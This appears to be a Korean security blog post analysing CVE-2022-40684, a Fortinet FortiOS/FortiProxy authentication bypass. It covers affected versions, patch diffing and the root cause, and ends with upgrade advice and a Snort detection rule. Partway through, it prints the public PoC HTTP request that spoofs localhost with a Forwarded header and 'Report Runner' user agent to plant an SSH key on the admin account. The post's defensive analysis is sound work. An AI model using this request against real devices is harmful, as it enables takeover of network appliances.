KOROMOON

착한 사마리아인이 되고 싶습니다.

10/17/2022

[CVE-2022-40684] Fortinet 제품 인증 우회 취약점 ([CVE-2022-40684] Fortinet Application Authentication Bypass Vulerability)


( 1 ) 취약점 정보


2022년 10월 10일 FortiGuard 사의 보안공지에 [CVE-2022-40684] Forti 제품 인증 우회 취약점 관련하여 패치를 공지함.

해당 취약점은 FortiOS, FortiProxy 및 FortiSwitchManager 제품의 취약한 경로에 인증되지 않은 공격자가 특수하게 조작된 HTTP 또는 HTTPS 요청을 전송하여 관리 인터페이스에 악의적인 행위를 할 수 있는 취약점임.

현재 CVSSv3 9.6 점으로 위험한 취약점으로 분류됨.


영향을 받는 제품 리스트는 아래와 같음.

- FortiOS 5.x, 6.x 버전는 영향을 받지 않음

- FortiOS 7.2.0 ~ 7.2.1 버전

- FortiOS 7.0.0 ~ 7.0.6 버전

- FortiProxy 7.2.0 버전

- FortiProxy 7.0.0 ~ 7.0.6 버전

- FortiSwitchManager 7.2.0 버전

- FortiSwitchManager 7.0.0 버전




( 2 ) 취약점 분석


취약점 분석을 위해 FortiOS 7.2.1 버전에서 확인함.


/bin 폴더에는 많은 바이너리 컬렉션이 포함되어 있으며 그 중 다수는 /bin/init 에 대한 심볼릭 링크 파일임.

migadmin 폴더에는 관리 인터페이스에 대한 프론트엔드 웹 코드가 포함되어 있으며 node-script 폴더는 관리 인터페이스에 대한 Node.js 백엔드를 포함함.

마지막으로 usr 폴더에는 libaries 폴더와 apache2 구성 폴더가 있음.


취약한 버전과 패치된 버전을 각각 비교해보면 bin 폴더에서 큰 init 바이너리가 변경되었음을 확인하고 node-scripts 폴더에서 index.js 파일이 변경됨을 확인함.

취약한 버전과 패치된 버전의 각각 node-scripts 폴더 안에 index.js 파일을 비교한 화면은 아래와 같음.


< node-scripts 폴더 안에 index.js 파일 비교 화면 >


수정된 코드를 보면 httpsd 프록시 핸들러가 forwarded, x-forwarded-vdom 및 x-forwarded-cert 헤더를 명시적으로 설정함을 보여줌.


그리고 취약한 시스템에 SSH 로 연결하고 httpsd 프로세스에 대한 디버그 출력을 활성화한 다음 취약한 부분을 확인함.


< httpsd 프로세스에 대한 디버그 출력 활성화 >


전달된 헤더를 조사하는 동안 헤더를 구문 분석하고 for 및 by 필드를 추출하고 Apache request_rec 구조에 연결하는 Apache access_check_ex 후크를 찾음.

for 필드를 통해 요청 레코드의 연결에서 client_ip 필드를 설정할 수 있음을 알 수 있음.


< 전달된 헤더 구문 분석 >


또한, 특정 요청에 사용되는 핸들러를 언급하는 로그 메시지가 표시됨.

[httpsd 12478 - 1665412044     info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request


핸들러 문자열을 검색한 후 init 바이너리에서 핸들러 배열을 찾음.


< 핸들러 배열 >


일부 핸들러를 조사한 후 많은 핸들러가 api_check_access 라는 함수를 호출함.


< api_check_access >


vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

이 함수는 client_ip 가 "127.0.0.1" 이고 User-Agent 헤더가 두 번째 매개변수와 일치하는 지 확인하는 것을 볼 수 있음.

"Node.js" 및 "Report Runner" 의 두 가지 가능한 매개변수로 호출됨.

"Node.js" 경로는 몇 가지 추가 유효성 검사를 수행하는 것으로 보이지만 "Report Runner" 를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음.


< is_trusted_ip_and_user_agent >


결론적으로 취약점을 악용하기 위해서는 아래와 같이 요청의 필수 조건이 필요함.

1. Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 로 설정해야 함.

2. "신뢰할 수 있는 액세스" 인증 검사는 client_ip 가 127.0.0.1" 이고 User-Agent 가 "Report Runner" 로 설정함.


위 조건으로 요청할 경우 시스템에 원하는 모든 작업을 수행할 수 있음.

네트워크 구성 변경, 새 사용자 추가, 패킷 캡처 등이 가능함.


현재 공개된 PoC 는 아래와 같으며 공격자가 원하는 SSH 키를 추가하여 SSH 서비스를 이용할 수 있음.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1

Host: xxx.xxx.xxx.xxx

User-Agent: Report Runner

Content-Type: application/json

Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000";

Content-Length: 612

 

{"ssh-public-key1": "\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\""}




( 3 ) 취약점 방어


1. 최신 패치로 업그레이드함.

- FortiOS 7.2.2 버전으로 업그레이드

- FortiOS 7.0.7 버전으로 업그레이드

- FortiProxy 7.2.1 버전으로 업그레이드

- FortiProxy 7.0.7 버전으로 업그레이드

- FortiSwitchManager 7.2.1 버전으로 업그레이드

- FG6000F, 7000E/F 시리즈 플랫폼일 경우 FortiOS 7.0.5 B8001 이상으로 업그레이드


2. 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.

현재 공개된 PoC 를 토대로 HTTP 요청 시 "/api/v2/cmdb/system/admin/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함.

alert tcp any any -> any any (msg:"KOROMOON_Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

댓글 없음:

댓글 쓰기